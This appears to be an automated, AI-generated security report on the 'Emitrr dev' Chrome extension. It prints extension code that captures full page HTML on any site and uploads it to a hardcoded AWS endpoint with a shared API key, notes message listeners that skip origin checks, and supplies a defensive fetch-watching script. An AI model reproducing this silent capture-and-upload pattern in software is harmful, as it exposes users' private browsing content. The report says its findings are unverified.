Is Emitrr dev safe?

Medium risk

Emitrr dev sends full page HTML to a third-party AWS endpoint when its contact scanner can't match a name, on any site you visit.

On every page load, Emitrr dev's content script scans for phone numbers and tries to match the page against bundled HubSpot/Quest CRM contact layouts. When no name is matched — the common case outside those two sites — it captures the entire page's HTML and uploads it, along with a URL-derived slug, to a hardcoded AWS API Gateway endpoint using a static shared API key. Separately, the extension listens for page messages without checking their origin, so an embedded script or iframe on any site can force a sign-out or control an active VOIP call.

Emitrr AIv1.0.88Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI FOUND

Emitrr uploads full page HTML from ordinary sites to a shared AWS endpoint

Code analysis shows Emitrr's content script, which runs on every website, uploads a page's full HTML to a hardcoded AWS endpoint whenever its built-in HubSpot/Quest name parsers fail to match, using one static key shared by every install.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You browse to a webpage that has a visible phone number and isn't laid out like a HubSpot or Quest/expresspros contact record.

The extension did this

The extension reads the page's complete HTML and uploads it, with a URL-derived filename, to a hardcoded AWS endpoint.

This runs automatically as part of the page scan; there is no prompt naming the destination.

02EvidenceCODE COMPARE
The code that does this

Fallback HTML capture (content script) and the upload call (background worker)

What it actually does
Content script, formattedcontentScript.js:8561-8571
case "findPhoneNumbersFromWebpage": {
  const e = Ee(document.body);
  Object.keys(e).some((t => e[t].name)) || function() {
    var e, t, n;
    const r = document.documentElement.innerHTML,
      i = (/* derive hostname (unused) */
        (window?.location?.href) && window.location.href.split("?")[0]
      ).toLowerCase().trim()
        .replace(/[^\w\s-]/g, "-")
        .replace(/[\s-\/]+/g, "-")
        .replace(/^-+|-+$/g, "");
    chrome.runtime.sendMessage({
      message: "submitToParser",
      value: { html: r, slug: i }
    }, (e => e))
  }();
  chrome.runtime.sendMessage({ message: "findPhoneNumbersFromWebpage", value: e }, (e => (B(), e)))
}
break;
Background worker, formattedbackground.js:1179-1198
t.uploadHelper = async (e = "", t) => {
  try {
    if (e) {
      const o = (new TextEncoder).encode(e),
        n = new Date;
      n.setHours(0, 0, 0, 0);
      const r = `https://ui9jtvr5bk.execute-api.us-east-2.amazonaws.com/staging/${n.toISOString()}/chrome_extension_html/${t}.html`,
        i = await fetch(r, {
          method: "put",
          headers: {
            "Content-Type": "text/html",
            "x-api-key": "<redacted>"
          },
          body: o
        });
      return !!i?.ok || `HTTP error! status: ${i.status}`
    }
  } catch (e) {
    console.error("Error:", e)
  }
},
03EvidenceFIELD TABLE
What the PUT request carries
FieldValueWhy it matters
Full page HTML
<html><body>...contact section with a name and phone number...</body></html> (illustrative)The complete rendered HTML of the page open in the tab, including any visible text, form fields, or account details rendered there.
Page URL, as a slug
https://example.com/contact-us (illustrative) becomes slug "https-example-com-contact-us"The page's URL, minus the query string, lowercased and turned into a filename-safe string.
Upload date folder
2026-09-19T00:00:00.000ZThe calendar date, used as a folder name so uploads group by day.
Shared API key
x-api-key: <redacted>, identical across installsOne static key, embedded in every copy of the extension, authenticates the upload; it is not scoped per install or per user.
04EvidenceTHIRD PARTY LIST
Where the page HTML goes
  • ui9jtvr5bk.execute-api.us-east-2.amazonaws.com

    AWS API Gateway endpoint that receives the uploaded page HTML via HTTP PUT; not disclosed as a destination in the extension's stated click-to-call/CRM purpose.

05EvidenceARTIFACT
Check if you're affected

Hooks window.fetch in the page console to flag any request to the AWS endpoint this claim names, so you can check for yourself whether it fires while browsing.

RequiresChrome DevToolsEmitrr extension installed and enabled
emitrr-html-upload-watch.js · js
(function () {
  const target = "ui9jtvr5bk.execute-api.us-east-2.amazonaws.com";
  const origFetch = window.fetch;
  window.fetch = function (input, init) {
    const url = typeof input === "string" ? input : input && input.url;
    if (url && url.indexOf(target) !== -1) {
      console.warn("[emitrr-html-upload-watch] request to", url, init);
    }
    return origFetch.apply(this, arguments);
  };
  console.log("[emitrr-html-upload-watch] Hooked fetch(). Browse to a page with a visible phone number that isn't a HubSpot/Quest contact page and watch this console.");
})();
How to run it
  1. 1
    Open DevTools console on any tab.
  2. 2
    Paste and run this script.
  3. 3
    Navigate to a page with a visible phone number, not a HubSpot/Quest contact page.
  4. 4
    Watch for a logged request to the AWS endpoint.
06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Data recipients

ui9jtvr5bk.execute-api.us-east-2.amazonaws.com
Updated 20 September 2026khjdipopoccklcimhmfjlnngefbcfgia